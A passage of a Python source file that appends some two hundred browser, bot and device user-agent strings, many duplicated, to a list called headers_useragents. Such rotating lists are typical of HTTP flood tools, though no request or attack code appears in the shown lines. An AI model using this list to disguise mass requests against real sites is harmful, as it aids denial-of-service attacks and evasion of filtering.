  1589.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1590.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1591.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1592.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1593.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1594.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1595.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1596.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1597.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1598.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1599.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1600.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1601.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1602.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1603.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1604.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1605.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1606.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1607.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1608.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1609.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1610.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1611.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1612.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1613.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1614.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1615.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1616.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1617.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1618.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1619.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1620.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1621.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1622.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1623.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1624.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1625.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1626.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1627.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1628.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1629.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1630.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1631.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1632.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1633.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1634.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1635.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1636.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1637.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1638.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1639.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1640.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1641.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1642.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1643.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1644.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1645.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1646.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1647.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1648.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1649.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1650.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1651.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1652.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1653.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1654.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1655.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1656.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1657.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1658.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1659.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1660.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1661.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1662.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1663.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1664.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1665.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1666.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1667.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1668.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1669.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1670.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1671.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1672.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1673.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1674.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1675.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1676.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1677.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1678.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1679.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1680.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1681.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1682.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1683.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1684.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1685.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1686.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1687.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1688.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1689.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1690.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1691.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1692.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1693.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1694.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1695.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1696.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1697.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1698.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1699.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1700.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1701.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1702.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1703.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1704.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1705.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1706.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1707.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1708.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1709.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1710.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1711.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1712.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1713.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1714.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1715.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1716.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1717.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1718.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1719.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1720.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1721.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1722.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1723.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1724.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1725.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1726.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1727.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1728.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1729.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1730.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1731.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1732.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1733.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1734.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1735.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1736.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1737.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1738.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1739.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1740.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1741.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1742.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1743.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1744.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1745.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1746.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1747.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1748.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1749.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1750.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1751.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1752.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1753.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1754.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1755.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1756.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1757.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1758.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1759.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1760.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1761.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1762.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1763.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1764.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1765.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1766.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1767.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1768.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1769.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1770.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1771.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1772.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1773.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1774.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1775.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1776.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1777.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1778.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1779.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1780.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1781.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1782.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1783.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
